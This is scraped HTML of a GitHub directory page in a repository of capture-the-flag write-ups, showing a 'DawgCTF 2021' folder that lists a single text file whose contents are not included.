0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> mrajabinasab </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/mrajabinasab/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/DawgCTF%202021" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/mrajabinasab/CTF-Writeups/file-list/main/DawgCTF%202021"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>DawgCTF2021 Writeups.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 